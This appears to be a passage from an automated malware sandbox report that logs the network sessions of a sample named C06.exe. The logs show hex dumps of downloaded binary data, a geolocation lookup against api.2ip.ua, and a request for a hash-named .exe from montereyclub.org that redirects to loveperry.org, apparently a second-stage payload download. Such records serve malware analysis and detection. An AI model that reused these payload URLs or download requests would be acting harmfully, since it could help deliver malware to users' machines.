2023-10-13 14:06:06 UTC	204	IN	Data Raw: 32 30 30 30 0d 0a bd 9a 9c 0f 02 a9 b0 09 04 47 65 78 6e b4 16 45 77 ee e0 d4 fe c1 e2 7d 04 06 39 b8 55 36 93 bc 18 8c a3 04 1b 9d dc b8 d5 e1 e4 1b b4 7e 3e 5b 45 f5 ce c0 80 7f b9 08 d5 dd 6c 0e 37 b6 c2 52 ac e3 f7 ed 6f 47 a9 5f 9d 95 d7 e6 38 68 bd ae 6f aa 2c bf 86 62 63 ed cc 2a 53 21 18 a4 a4 71 b6 12 24 f1 b8 ea 56 1d a9 bb 61 ca 93 ae 10 01 a7 e4 1f a8 15 f0 a0 4c 86 0b 32 ae 61 eb 97 e5 03 94 ce 2b 22 e2 c4 27 f7 ac 70 28 8d 44 6b ad d9 18 65 60 0c d1 56 16 33 f0 05 69 89 72 2c 97 17 27 15 c1 b8 d8 37 42 d1 c6 13 65 44 70 9c 9b 93 59 9b 87 95 02 ed 5b e1 8b f7 36 f0 10 31 92 82 3d a3 f7 5b c0 3c 64 6b 33 70 f9 40 18 38 43 52 11 8f 8b 56 73 17 f9 8f 7b 1b 89 e1 05 63 dc 5d b4 6e 7f 5b 4b 91 2d a5 86 d2 00 3d 60 e8 43 81 ad ce bd 0a c2 56 56 74 Data Ascii: 2000GexnEw}9U6~>[El7RoG_8ho,bc*S!q$VaL2a+"'p(Dke`V3ir,'7BeDpY[61=[<dk3p@8CRVs{c]n[K-=`CVVt
2023-10-13 14:06:06 UTC	212	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-10-13 14:06:06 UTC	212	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	212	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff 56 69 40 00 00 00 00 00 40 c2 59 00 00 00 00 00 40 c2 59 00 01 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000Vi@@Y@Y
2023-10-13 14:06:06 UTC	220	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-10-13 14:06:06 UTC	220	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	220	IN	Data Raw: 32 30 30 30 0d 0a 68 97 1a 00 38 00 00 00 00 00 00 00 00 00 00 00 00 9c 1a 00 22 00 00 00 00 00 00 00 00 00 00 00 e0 b8 1a 00 30 00 00 00 00 00 00 00 00 00 00 00 c8 d5 1a 00 30 00 00 00 00 00 00 00 00 00 00 00 b0 f2 1a 00 30 00 00 00 00 00 00 00 00 00 00 00 78 38 1a 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 97 1a 00 68 00 00 00 00 00 00 00 00 00 00 00 e0 f2 1a 00 78 02 00 00 00 00 00 00 00 00 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 83 00 7b 81 81 00 7e 82 80 00 7e 80 83 00 7e 7b 84 00 7e 7d 82 00 82 83 7b 00 80 83 82 00 82 86 7c 00 85 80 7d 00 80 82 7a 00 7f 7d 7f 00 7f 80 84 00 7e 7f 7f 00 83 7c 7e 00 7a 84 81 00 7d 7c 7e 00 83 7a 82 00 7b 7b 80 00 7a 85 82 00 81 Data Ascii: 2000h8"000x8Lhx(0`{~~~{~}{\|}z}~\|~z}\|~z{{z
2023-10-13 14:06:06 UTC	228	IN	Data Raw: 83 7d 80 82 7f 7c Data Ascii: }\|
2023-10-13 14:06:06 UTC	228	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	228	IN	Data Raw: 32 30 30 30 0d 0a 82 7a 7d 7c 7e 7d 7e 7e 82 80 80 7f 80 85 83 7f 81 7e 7d 7e 7e 7f 7b 80 7b 83 7e 81 84 7c 80 83 81 7e 7e 82 7f 7e 84 83 80 83 7e 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7f 81 7f 86 7b 80 7e 7d 7e 7a 7b 7d 7e 83 7c 80 80 84 7f 7d 81 7f 84 7e 82 84 82 7b 84 81 7f 80 7b 7e 7e 7c 7c 80 7d 84 7e 7f 7f 7d 80 7d 81 7c 7a 80 7c 83 84 7d 7c 7f 81 7b 7e 7e 83 7e 83 81 84 81 7b 7b 85 80 7c 7b 84 7f 80 7b 83 83 81 7c 80 7d 7c 84 80 80 7f 84 7e 84 85 7a 7e 7e 84 83 7f 7b 7f 80 80 7c 7f 7b 80 7b 7e 82 7a 7d 7b 7e 7b 81 7c 7b 7b 81 81 80 83 7f 81 80 82 80 7e 7a 7b 83 83 7c 81 81 81 84 7e 84 7b 80 7a 80 7e 7e 85 7e 79 7c 7a 7d 7a 81 85 7b 7b 84 80 84 7e 86 7c 83 7c 80 80 80 7f 84 7e 7e 7c 00 00 00 00 00 00 00 00 00 Data Ascii: 2000z}\|~}~~~}~~{{~\|~~~~{~}~z{}~\|}~{{~~\|\|}~}}\|z\|}\|{~~~{{\|{{\|}\|~z~~{\|{{~z}{~{\|{{~z{\|~{z~~~y\|z}z{{~\|\|~~\|
2023-10-13 14:06:06 UTC	236	IN	Data Raw: 7a 84 7d 7e 7f 7c Data Ascii: z}~\|
2023-10-13 14:06:06 UTC	236	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	236	IN	Data Raw: 32 30 30 30 0d 0a 81 7e 83 7c 80 80 80 83 80 7e 7c 7b 83 7e 7f 7a 82 7d 7e 84 7c 82 83 81 83 80 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7a 82 7d 83 80 7f 80 82 83 83 82 7f 7c 80 7b 7f 7d 7f 7f 7e 7f 7d 84 81 7a 7f 80 81 80 7e 83 81 82 7c 83 82 86 84 80 81 83 7c 84 80 84 7d 7f 7b 7c 83 81 7d 7f 81 79 7f 7e 80 80 7c 7a 7b 80 7f 7b 7e 7b 85 82 7b 86 7c 7e 81 81 7f 7f 82 7d 83 7c 81 85 7c 81 80 7d 7b 80 81 83 83 80 80 84 7f 7e 7c 7e 82 80 83 7d 7f 7d 7e 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7e 7c 7f 7a 7e 80 7e 86 80 80 83 7c 85 82 84 7f 82 7f 82 7e 83 80 7e 82 7b 83 7e 83 7f 7c 7d 7f 81 7c 80 7e 7b 7e 7f 85 7b 84 7d 7e 83 85 85 7b 82 84 7f 81 84 7e 7f 83 7d 81 80 80 7d 7b 86 7f 80 80 7f 84 85 7e 7e 80 Data Ascii: 2000~\|~\|{~z}~\|z}\|{}~}z~\|\|}{\|}y~\|z{{~{{\|~}\|\|}{~\|~}}~~\|z~~\|~~{~\|}\|~{~{}~{~}}{~~
2023-10-13 14:06:06 UTC	244	IN	Data Raw: a8 a8 a8 a8 a8 a8 Data Ascii:
2023-10-13 14:06:06 UTC	244	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	244	IN	Data Raw: 31 66 66 38 0d 0a ff ff ff ff ff ff 00 00 fe 00 00 00 00 1f 00 00 fc 00 00 00 00 0f 00 00 f8 00 00 00 00 0f 00 00 e0 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 0f 00 00 80 00 00 00 00 1f 00 00 80 00 00 00 00 ff 00 00 80 Data Ascii: 1ff8
2023-10-13 14:06:06 UTC	252	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-10-13 14:06:06 UTC	252	IN	Data Raw: 80 80 80 81 7e 81 80 80 7f 81 80 7f 7e 81 7e 80 80 7f 7f 81 7e 7f 81 80 7e 80 80 7f 80 7f 7f 7f 7f 80 7f 7f 7e 80 80 80 80 81 7f 80 80 80 80 80 80 81 81 80 7f 80 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 7f 7f 81 7f 81 80 7e 7e 7f 7f 80 7e 7f 80 81 7f 7f 80 80 80 80 7f 81 7e 80 7f 80 7f 7f 80 81 7e 7e 7f 81 81 7f 7e 7f 7f 7e 80 80 80 7e 7f 7e 7f 7f 7e 7f 81 7e 7f 81 7f 80 81 81 7f 80 7e 80 80 7f 80 7f 80 7e 80 80 80 80 7f 80 81 7f 7e 80 7f 80 7f 7e 7f 7f 81 81 7f 80 80 81 7f 80 81 7e 7f 80 7f 7e 81 80 80 81 81 7e 80 80 7f 81 7f 81 7f 7f 7e 7f 7f 81 81 7f 80 7f 80 81 80 81 7e 7e 7e 7f 81 7f 7f 80 7e 7f 7f 7e 7f 7f 80 7f 7f 7f 7e 7f 80 80 7f 7f 7f 81 80 80 80 80 81 80 81 80 80 80 7f 80 7f 81 7f 7e 80 80 80 7e 80 80 7f 00 00 00 00 00 00 00 Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-10-13 14:06:06 UTC	260	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	260	IN	Data Raw: 32 30 30 30 0d 0a 80 80 7f 7f 80 7f 80 7f 81 7f 7f 7e 81 80 80 7f 7f 80 81 80 80 80 7f 80 81 80 7f 81 80 7e 7f 7f 7e 7e 7e 7e 7e 7f 7f 80 00 00 00 00 00 00 00 00 80 7f 7e 81 80 7e 81 81 7f 80 81 80 7f 7e 81 7f 7f 7e 80 7e 7f 80 7e 80 7e 7f 80 7f 81 7e 80 7f 80 7f 80 80 80 7f 81 7e 7e 7e 7f 80 81 80 81 80 7e 81 7f 7e 7f 81 7f 80 7f 80 80 81 7f 7f 81 7f 80 80 7e 7f 81 80 80 80 80 80 7f 7f 7f 7e 7f 80 7e 7f 80 80 80 7f 80 7f 7e 7e 7f 81 81 7f 7f 7e 80 81 7f 7e 80 80 80 7e 80 80 7e 81 7f 80 7e 81 80 81 80 7e 7f 81 7f 7e 00 00 00 00 00 00 00 00 81 80 7f 81 7f 7e 7f 7e 7e 7f 7f 81 80 80 80 80 81 7f 7f 80 80 80 80 80 7f 80 7f 80 80 81 7e 7e 80 7e 81 7f 7e 80 80 80 80 80 7f 7f 80 7e 81 7f 81 7e 81 7e 7f 80 7f 80 81 80 80 81 7f 7e 7e 80 7f 81 7f 81 7e 7f 80 7f 7f Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-10-13 14:06:06 UTC	268	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-10-13 14:06:06 UTC	268	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	268	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 05 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 69 69 00 00 00 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 04 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 69 69 00 00 00 00 00 00 00 00 00 00 00 00 00 69 00 00 00 00 00 00 00 00 00 00 0f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 69 69 00 00 00 00 00 00 00 00 00 00 00 00 00 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 69 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000iiiiiiiiiii
2023-10-13 14:06:06 UTC	276	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-10-13 14:06:06 UTC	276	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	276	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 00 00 ff ff ff e1 ff ff 00 00 ff ff ff e0 ff ff 00 00 ff ff ff c0 ff ff 00 00 ff ff ff c0 ff ff 00 00 ff ff ff c0 ff ff 00 00 ff ff ff 03 ff ff 00 00 ff ff bf 03 ff ff 00 00 ff Data Ascii: 2000
2023-10-13 14:06:06 UTC	284	IN	Data Raw: 40 00 00 f0 4a 00 Data Ascii: @J
2023-10-13 14:06:06 UTC	284	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	284	IN	Data Raw: 32 30 30 30 0d 0a 11 ff 5b 00 31 ff 71 00 51 ff 87 00 71 ff 9d 00 91 ff b2 00 b1 ff c9 00 d1 ff df 00 ff ff ff 00 00 00 00 00 02 2f 00 00 04 50 00 00 06 70 00 00 08 90 00 00 0a b0 00 00 0b cf 00 00 0e f0 00 00 20 ff 12 00 3d ff 31 00 5b ff 51 00 79 ff 71 00 98 ff 91 00 b5 ff b1 00 d4 ff d1 00 ff ff ff 00 00 00 00 00 14 2f 00 00 22 50 00 00 30 70 00 00 3d 90 00 00 4c b0 00 00 59 cf 00 00 67 f0 00 00 78 ff 11 00 8a ff 31 00 9c ff 51 00 ae ff 71 00 c0 ff 91 00 d2 ff b1 00 e4 ff d1 00 ff ff ff 00 00 00 00 00 26 2f 00 00 40 50 00 00 5a 70 00 00 74 90 00 00 8e b0 00 00 a9 cf 00 00 c2 f0 00 00 d1 ff 11 00 d8 ff 31 00 de ff 51 00 e3 ff 71 00 e9 ff 91 00 ef ff b1 00 f6 ff d1 00 ff ff ff 00 00 00 00 00 2f 26 00 00 50 41 00 00 70 5b 00 00 90 74 00 00 b0 8e 00 00 cf Data Ascii: 2000[1qQq/Pp =1[Qyq/"P0p=LYgx1Qq&/@PZpt1Qq/&PAp[t
2023-10-13 14:06:06 UTC	292	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-10-13 14:06:06 UTC	292	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:06 UTC	292	IN	Data Raw: 31 61 31 38 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1a18

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	104.21.65.24	443	192.168.2.4	49769	C:\Users\user\AppData\Local\Temp\C06.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:04 UTC	66	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 13 Oct 2023 14:06:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZsQWRVzc%2BIuA%2FjxKbYdJMEza4WCCV2Igvbqr1wxj%2FZEocrjgpwXSiQUnFfWWnfH6RJsR500Xnajx%2BMzP31QCNikNzBtdFzAfrV7bIq8cU9OphXps6ECQryQjR91O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8158241d1ae82f15-LAX alt-svc: h3=":443"; ma=86400
2023-10-13 14:06:04 UTC	67	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 32 35 34 64 34 30 34 39 35 35 36 35 31 37 34 63 35 35 30 62 34 38 34 30 31 61 35 36 35 30 34 37 34 66 34 30 34 36 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#254d40495565174c550b48401a5650474f4046
2023-10-13 14:06:04 UTC	67	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 62 30 33 30 65 30 37 31 62 32 62 35 39 30 32 31 62 34 35 31 65 30 61 35 34 31 38 31 65 30 39 30 31 30 65 30 38 31 66 35 36 35 39 30 32 31 62 34 35 31 65 30 61 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#6b030e071b2b59021b451e0a54181e09010e081f5659021b451e0a
2023-10-13 14:06:04 UTC	68	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49772	104.21.65.24	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:06 UTC	268	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	104.21.65.24	443	192.168.2.4	49772	C:\Users\user\AppData\Local\Temp\C06.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:06 UTC	299	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 13 Oct 2023 14:06:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kBa9e%2FSbmInD%2FYZcM9SYvoY7s4E7uGHIZNWNMb5LYrjGp0dx%2FpdpAhIKoCmauN3fxA17NDij5PL9pzxBQCiYA%2FZZk3fOi3YtNzHUZoG0kIQfirav3s%2FFdP%2BzxOlj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8158242a4b9c2f7a-LAX alt-svc: h3=":443"; ma=86400
2023-10-13 14:06:06 UTC	299	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 33 30 62 30 36 30 66 31 33 32 33 35 31 30 61 31 33 34 64 30 65 30 36 35 63 31 30 31 36 30 31 30 39 30 36 30 30 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#630b060f1323510a134d0e065c101601090600
2023-10-13 14:06:06 UTC	300	IN	Data Raw: d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 64 62 35 62 38 62 31 61 64 39 64 65 66 62 34 61 64 66 33 61 38 62 63 65 32 61 65 61 38 62 66 62 37 62 38 62 65 61 39 65 30 65 66 62 34 61 64 66 33 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#ddb5b8b1ad9defb4adf3a8bce2aea8bfb7b8bea9e0efb4adf3
2023-10-13 14:06:06 UTC	300	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2023-10-13 14:06:06 UTC	300	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49775	104.21.21.57	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:08 UTC	300	OUT	GET /288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: montereyclub.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	104.21.21.57	443	192.168.2.4	49775	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:09 UTC	301	IN	HTTP/1.1 307 Temporary Redirect Date: Fri, 13 Oct 2023 14:06:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://loveperry.org/d1f678ec34d6fa8f1d632aaee203f5bf/288c47bbc1871b439df19ff4df68f076.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MyhTuZLAMrDz9%2F5chOt%2FTnTudJdtCB15gV%2FUOPW3xLEC6udn3ZbupH9VANkKy9EU5h%2FmwtmaUZcAIV5hYV3QEBwCgh0UFAGop6ExggHE42K7bZVe0CzjtQySAJkhRuExZHc9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81582438af1014e2-LAX alt-svc: h3=":443"; ma=86400
2023-10-13 14:06:09 UTC	301	IN	Data Raw: 37 66 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 76 65 70 65 72 72 79 2e 6f 72 67 2f 64 31 66 36 37 38 65 63 33 34 64 36 66 61 38 66 31 64 36 33 32 61 61 65 65 32 30 33 66 35 62 66 2f 32 38 38 63 34 37 62 62 63 31 38 37 31 62 34 33 39 64 66 31 39 66 66 34 64 66 36 38 66 30 37 36 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7f<a href="https://loveperry.org/d1f678ec34d6fa8f1d632aaee203f5bf/288c47bbc1871b439df19ff4df68f076.exe">Temporary Redirect</a>.
2023-10-13 14:06:09 UTC	301	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49779	104.21.86.8	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
